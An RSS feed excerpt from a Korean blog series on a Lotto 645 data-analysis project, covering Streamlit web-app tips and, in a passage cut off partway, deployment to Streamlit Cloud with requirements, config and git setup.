&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;순수 Python만으로 웹 앱 개발 (Pure Python Web App)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML/CSS/JavaScript 불필요 (No HTML/CSS/JS needed)&lt;/li&gt;
&lt;li&gt;3줄로 차트 표시 (3 lines to display charts)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;강력한 캐싱 시스템 (Powerful Caching System)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;@st.cache_data&lt;/code&gt;: 데이터 캐싱 (Data Caching)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@st.cache_resource&lt;/code&gt;: 모델 캐싱 (Model Caching)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;97% 성능 향상!&lt;/b&gt; (97% Faster!)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Plotly 인터랙티브 차트 (Plotly Interactive Charts)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;호버 효과 (Hover Tooltips)&lt;/li&gt;
&lt;li&gt;줌 &amp;amp; 팬 (Zoom &amp;amp; Pan)&lt;/li&gt;
&lt;li&gt;클릭 이벤트 (Click Events)&lt;/li&gt;
&lt;li&gt;PNG 내보내기 (Export to PNG)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;풍부한 레이아웃 컴포넌트 (Rich Layout Components)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사이드바, 컬럼, 탭, 메트릭, 진행 바, 버튼&lt;/li&gt;
&lt;li&gt;2열/3열 자유로운 배치&lt;/li&gt;
&lt;li&gt;반응형 디자인 (Responsive Design)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;무료 클라우드 배포 (Free Cloud Deployment)&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Streamlit Cloud 무료 (Free)&lt;/li&gt;
&lt;li&gt;Git push &amp;rarr; 자동 배포 (Auto Deploy)&lt;/li&gt;
&lt;li&gt;HTTPS 자동 적용 (Auto HTTPS)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  실전 팁 (Practical Tips)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 캐싱 적극 활용 (Use Caching Aggressively)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;ruby&quot;&gt;&lt;code&gt;@st.cache_data(ttl=3600)  # 1시간 유효
def expensive_computation():
    # 무거운 연산 (Heavy Computation)
    pass&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. 진행 상태 표시 (Show Progress)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;subunit&quot;&gt;&lt;code&gt;progress = st.progress(0)
for i in range(100):
    # 작업 (Task)
    progress.progress(i + 1)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3. 에러 핸들링 (Error Handling)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;isbl&quot;&gt;&lt;code&gt;try:
    result = risky_operation()
    st.success(&quot;✅ 성공! (Success!)&quot;)
except Exception as e:
    st.error(f&quot;❌ 에러 (Error): {e}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4. 사용자 입력 검증 (Validate User Input)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;number = st.number_input(&quot;번호 입력 (Enter Number)&quot;, 1, 45)

if st.button(&quot;분석 (Analyze)&quot;):
    if not (1 &amp;lt;= number &amp;lt;= 45):
        st.warning(&quot;⚠️ 1-45 사이 번호를 입력하세요. \
                    (Enter number between 1-45.)&quot;)
    else:
        analyze(number)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5. 세션 상태 활용 (Use Session State)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;if 'counter' not in st.session_state:
    st.session_state.counter = 0

if st.button(&quot;증가 (Increment)&quot;):
    st.session_state.counter += 1

st.write(f&quot;카운트 (Count): {st.session_state.counter}&quot;)&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  성능 비교 (Performance Comparison)&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목 (Item)&lt;/th&gt;
&lt;th&gt;CLI 버전&lt;/th&gt;
&lt;th&gt;웹 앱 버전&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;접근성 (Accessibility)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;터미널만 (Terminal Only)&lt;/td&gt;
&lt;td&gt;브라우저 (Browser) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;시각화 (Visualization)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;정적 이미지 (Static Images)&lt;/td&gt;
&lt;td&gt;인터랙티브 (Interactive) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;사용자 입력 (User Input)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;input() 함수&lt;/td&gt;
&lt;td&gt;위젯 (Widgets) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;공유 (Sharing)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;어려움 (Difficult)&lt;/td&gt;
&lt;td&gt;URL 공유 (Share URL) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;업데이트 (Updates)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;재실행 필요 (Re-run Needed)&lt;/td&gt;
&lt;td&gt;자동 리로드 (Auto Reload) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;성능 (Performance)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;15초 (15s)&lt;/td&gt;
&lt;td&gt;0.45초 (Cached) ✅&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론 (Conclusion):&lt;/b&gt; 웹 앱이 압도적 우위! (Web App Dominates!)&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  관련 링크 (Related Links)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub&lt;/b&gt;: &lt;a href=&quot;https://github.com/MyJYP/lotter645_1227&quot;&gt;lotter645_1227&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit App&lt;/b&gt;: &lt;a href=&quot;https://lo645251227.streamlit.app/&quot;&gt;로또 645 분석 웹 앱&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;이전 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/190&quot;&gt;5편 - 일곱 가지 선택의 기로&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;다음 에피소드&lt;/b&gt;: &lt;a href=&quot;https://thepin.tistory.com/188&quot;&gt;7편 - 8501 포트 너머로&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Streamlit 공식 문서&lt;/b&gt;: &lt;a href=&quot;https://docs.streamlit.io/&quot;&gt;https://docs.streamlit.io/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  마무리하며 (Closing Thoughts)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;터미널의 숫자들이 브라우저로 피어났다.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;800줄의 Python 코드가 9개 페이지의 본격적인 웹 애플리케이션이 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Streamlit의 마법은 단순했다. &lt;code&gt;st.title()&lt;/code&gt;, &lt;code&gt;st.button()&lt;/code&gt;, &lt;code&gt;st.plotly_chart()&lt;/code&gt;. 3줄이면 충분했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캐싱 시스템으로 성능은 97% 향상되었다. 15초에서 0.45초로. Plotly 차트는 인터랙티브했다. 마우스를 올리면 상세 정보가 떴다. 드래그하면 줌이 되었다. 클릭하면 이벤트가 발생했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9개 페이지는 각자의 역할이 명확했다. 홈은 요약을, 탐색은 분석을, 추천은 번호를 제공했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이 웹 앱을 세상과 공유할 차례다. Streamlit Cloud로 배포하자. Git push 한 번이면 끝이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8501 포트 너머로, 우리의 분석이 세상과 만난다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  SEO 태그&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;#포함 해시태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#Streamlit #웹앱 #데이터앱 #Plotly #인터랙티브차트 #캐싱최적화 #성능향상 #사용자경험 #반응형레이아웃 #클라우드배포&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;쉼표 구분 태그&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Streamlit, 웹앱, 데이터앱, Plotly, 인터랙티브, 캐싱, 성능최적화, UX, 레이아웃, 클라우드, 배포, Python, 브라우저, 시각화&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성&lt;/b&gt;: @MyJYP&lt;br /&gt;&lt;b&gt;시리즈&lt;/b&gt;: 로또 645 데이터 분석 프로젝트 (6/10)&lt;br /&gt;&lt;b&gt;라이선스&lt;/b&gt;: CC BY-NC-SA 4.0&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  Claude Code 사용량&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 전:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 42,326 tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작업 후:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 사용량: 61,034 tokens (11% 사용= 65%-54%)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용량 차이:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Episode 6 작성 사용량: ~18,700 tokens&lt;/li&gt;
&lt;li&gt;이미지 5개 생성 + 본문 690줄 작성 포함&lt;/li&gt;
&lt;li&gt;generate_episode6_images.py 스크립트 작성 (290줄) 및 수정 포함&lt;/li&gt;
&lt;li&gt;디렉토리 생성 및 이모지 제거 작업 포함&lt;/li&gt;
&lt;li&gt;주간 사용량 1% (72%-71%)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>VibeCoding/lo645251227</category>
      <category>plotly</category>
      <category>streamlit</category>
      <category>UX</category>
      <category>데이터앱</category>
      <category>레이아웃</category>
      <category>성능최적화</category>
      <category>웹앱</category>
      <category>인터랙티브</category>
      <category>캐싱</category>
      <category>클라우드</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/189</guid>
      <comments>https://thepin.tistory.com/189#entry189comment</comments>
      <pubDate>Sun, 11 Jan 2026 11:52:01 +0900</pubDate>
    </item>
    <item>
      <title>Episode 7: 8501 포트 너머로 (Beyond Port 8501)</title>
      <link>https://thepin.tistory.com/188</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;이 글은 패스트캠퍼스 바이브코딩 강의를 수강하며, 별도의 주제로 진행한 데이터 분석 프로젝트 과정을 기록한 것입니다. 코딩과 글 작성에는 클로드코드와 커서AI를 함께 활용했음을 미리 밝힙니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;
&lt;h1&gt;Episode 7: 8501 포트 너머로 (Beyond Port 8501)&lt;/h1&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;로컬 서버를 넘어, 전 세계와 연결되다. 단 한 번의 클릭으로.&quot;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;396&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vHTA6/dJMcahC7fzo/5d66FY9iCN2jkkdO4kZ18k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vHTA6/dJMcahC7fzo/5d66FY9iCN2jkkdO4kZ18k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vHTA6/dJMcahC7fzo/5d66FY9iCN2jkkdO4kZ18k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvHTA6%2FdJMcahC7fzo%2F5d66FY9iCN2jkkdO4kZ18k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1922&quot; height=&quot;396&quot; data-origin-width=&quot;1922&quot; data-origin-height=&quot;396&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  이번 에피소드에서는&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;localhost:8501&lt;/code&gt;에서만 실행되던 웹 앱을 &lt;b&gt;전 세계 누구나 접속 가능한 공개 서비스&lt;/b&gt;로 만듭니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Streamlit Cloud&lt;/b&gt;로 &lt;b&gt;무료 배포&lt;/b&gt;하는 전 과정을 다룹니다. GitHub와 연동하여 &lt;b&gt;Git push &amp;rarr; 자동 배포&lt;/b&gt;까지!&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  목차&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#1-%EB%B0%B0%ED%8F%AC-%EC%A4%80%EB%B9%84%ED%95%98%EA%B8%B0&quot;&gt;배포 준비하기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#2-github-%EC%97%B0%EB%8F%99&quot;&gt;GitHub 연동&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#3-streamlit-cloud-%EB%B0%B0%ED%8F%AC&quot;&gt;Streamlit Cloud 배포&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#4-%EC%9E%90%EB%8F%99-%EB%B0%B0%ED%8F%AC-%EC%84%A4%EC%A0%95&quot;&gt;자동 배포 설정&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#5-%EC%84%B1%EB%8A%A5-%EB%AA%A8%EB%8B%88%ED%84%B0%EB%A7%81&quot;&gt;성능 모니터링&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#6-%EB%B0%B0%ED%8F%AC-%EC%99%84%EB%A3%8C-%EB%B0%8F-%EA%B3%B5%EC%9C%A0&quot;&gt;배포 완료 및 공유&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 배포 준비하기 (Deployment Preparation)&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  필수 파일 3종 세트 (3 Essential Files)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배포하려면 &lt;b&gt;3개 파일&lt;/b&gt;만 있으면 됩니다!&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1️⃣ requirements.txt (패키지 목록, Package List)&lt;/h4&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# 데이터 처리 (Data Processing)
pandas&amp;gt;=2.0.0
numpy&amp;gt;=1.24.0

# 시각화 (Visualization)
matplotlib&amp;gt;=3.7.0
seaborn&amp;gt;=0.12.0

# 머신러닝 (Machine Learning)
scikit-learn&amp;gt;=1.3.0

# 웹 인터페이스 (Web Interface)
streamlit&amp;gt;=1.28.0
plotly&amp;gt;=5.17.0

# 추가 유틸리티 (Additional Utilities)
openpyxl&amp;gt;=3.1.0

# 한글 폰트 (Korean Font) - Streamlit Cloud용
matplotlib-fonttools&amp;gt;=4.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;작성 방법 (How to Create):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;# 현재 환경의 패키지 목록 자동 생성 (Auto-generate from current environment)
pip freeze &amp;gt; requirements.txt

# 또는 직접 작성 (Or write manually)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;⚠️ 주의사항 (Important Notes):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;버전은 &lt;code&gt;&amp;gt;=&lt;/code&gt;로 지정 (최소 버전만 명시, Specify minimum version)&lt;/li&gt;
&lt;li&gt;불필요한 패키지 제거 (Remove unused packages)&lt;/li&gt;
&lt;li&gt;Streamlit Cloud 환경 고려 (Consider Cloud environment)&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2️⃣ .streamlit/config.toml (설정 파일, Configuration File)&lt;/h4&gt;
&lt;pre class=&quot;ini&quot;&gt;&lt;code&gt;# 테마 설정 (Theme Configuration)
[theme]
primaryColor = &quot;#FF4B4B&quot;           # 빨간색 (Red)
backgroundColor = &quot;#FFFFFF&quot;         # 흰색 배경 (White background)
secondaryBackgroundColor = &quot;#F0F2F6&quot;  # 연한 회색 (Light gray)
textColor = &quot;#262730&quot;              # 진한 회색 텍스트 (Dark gray text)
font = &quot;sans serif&quot;                # 폰트 (Font)

# 서버 설정 (Server Configuration)
[server]
headless = true                    # CLI 없이 실행 (Run without CLI)
port = 8501                        # 포트 번호 (Port number)
enableCORS = false                 # CORS 비활성화 (Disable CORS)
enableXsrfProtection = true        # XSRF 보호 활성화 (Enable XSRF protection)

# 브라우저 설정 (Browser Configuration)
[browser]
gatherUsageStats = false           # 사용 통계 수집 안 함 (Disable usage stats)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;파일 구조 (File Structure):&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;프로젝트/
├── .streamlit/
│   └── config.toml    # &amp;larr; 이 위치에 생성 (Create here)
├── src/
│   └── web_app.py
└── requirements.txt&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3️⃣ .gitignore (Git 무시 파일, Git Ignore File)&lt;/h4&gt;
&lt;pre class=&quot;jboss-cli&quot;&gt;&lt;code&gt;# Python 캐시 (Python Cache)
__pycache__/
*.py[cod]
*$py.class
*.so

# 가상환경 (Virtual Environment)
venv/
env/
ENV/

# IDE 설정 (IDE Settings)
.vscode/
.idea/
*.swp

# OS 파일 (OS Files)
.DS_Store
Thumbs.db

# 로그 파일 (Log Files)
*.log

# 데이터 백업 (Data Backups)
Data/backups/

# 출력 파일 (Output Files)
output/
*.png
*.jpg&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;왜 필요한가? (Why Needed?)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;불필요한 파일 업로드 방지 (Prevent unnecessary file uploads)&lt;/li&gt;
&lt;li&gt;저장소 크기 최소화 (Minimize repository size)&lt;/li&gt;
&lt;li&gt;민감 정보 보호 (Protect sensitive information)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  한글 폰트 문제 해결 (Korean Font Fix)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;문제 (Problem):&lt;/b&gt; Streamlit Cloud에는 한글 폰트가 없음 &amp;rarr; 차트에 □□□ 표시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결책 (Solution):&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 1: 영어 라벨 사용 (권장, Use English Labels - Recommended)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;less&quot;&gt;&lt;code&gt;# 영어 라벨로 차트 생성 (Generate charts with English labels)
plt.title('Number Frequency Analysis')
plt.xlabel('Number')
plt.ylabel('Count')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;방법 2: 폰트 패키지 추가 (Add Font Package)&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# requirements.txt에 추가 (Add to requirements.txt)
matplotlib-fonttools&amp;gt;=4.0.0&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. GitHub 연동 (GitHub Integration)&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1185&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBzqfR/dJMcaajHEej/xNkzepzGlxzMRcb8WA5A81/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBzqfR/dJMcaajHEej/xNkzepzGlxzMRcb8WA5A81/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBzqfR/dJMcaajHEej/xNkzepzGlxzMRcb8WA5A81/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBzqfR%2FdJMcaajHEej%2FxNkzepzGlxzMRcb8WA5A81%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2085&quot; height=&quot;1185&quot; data-origin-width=&quot;2085&quot; data-origin-height=&quot;1185&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  저장소 생성 및 푸시 (Create Repository &amp;amp; Push)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 1: Git 초기화 (Git Initialization)&lt;/h4&gt;
&lt;pre class=&quot;vala&quot;&gt;&lt;code&gt;# 프로젝트 폴더로 이동 (Navigate to project folder)
cd lotter645_1227

# Git 초기화 (Initialize Git)
git init

# 모든 파일 스테이징 (Stage all files)
git add .

# 첫 커밋 (First commit)
git commit -m &quot;Initial commit: Lotto 645 Analysis App&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 2: GitHub 저장소 생성 (Create GitHub Repository)&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;GitHub 접속 (Access GitHub)&lt;/b&gt;: &lt;a href=&quot;https://github.com&quot;&gt;https://github.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;New Repository 클릭 (Click New Repository)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;저장소 정보 입력 (Enter repository info)&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Repository name: &lt;code&gt;lotter645_1227&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Description: &lt;code&gt;Lotto 645 Data Analysis Web App&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Public/Private 선택 (Choose Public/Private)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;README, .gitignore 체크 안 함 (Don't check README, .gitignore)&lt;/b&gt; (이미 있음, Already exist)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;Step 3: 원격 저장소 연결 (Connect Remote Repository)&lt;/h4&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;# 원격 저장소 추가 (Add remote repository)
git remote add origin https://github.com/YOUR_USERNAME/lotter645_1227.git

# main 브랜치로 변경 (Switch to main branch)
git branch -M main

# 푸시 (Push)
git push -u origin main&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;✅ 성공 확인 (Verify Success):&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;GitHub 페이지에서 파일 확인 (Check files on GitHub page)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;src/web_app.py&lt;/code&gt;, &lt;code&gt;requirements.txt&lt;/code&gt; 등이 보여야 함&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;  README.md 작성 (Write README.md)&lt;/h3&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;# 로또 645 데이터 분석 웹 앱 (Lotto 645 Data Analysis Web App)

##   개요 (Overview)
로또 645 복권의 과거 당첨 데이터(601~1205회)를 분석하는 웹 애플리케이션입니다.
(Web application for analyzing Lotto 645 historical winning data (Rounds 601-1205))

##   배포 (Deployment)
**Live App**: https://lo645251227.streamlit.app/

##   기능 (Features)
- 9개 페이지 구조 (9-page structure)
- 7가지 추천 전략 (7 recommendation strategies)
- Plotly 인터랙티브 차트 (Plotly interactive charts)
- 그리드 패턴 분석 (Grid pattern analysis)

##  ️ 기술 스택 (Tech Stack)
- Python 3.11
- Streamlit 1.28+
- Plotly 5.17+
- scikit-learn 1.3+

##   라이선스 (License)
CC BY-NC-SA 4.0&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. Streamlit Cloud 배포 (Streamlit Cloud Deployment)&lt;/h2&gt;
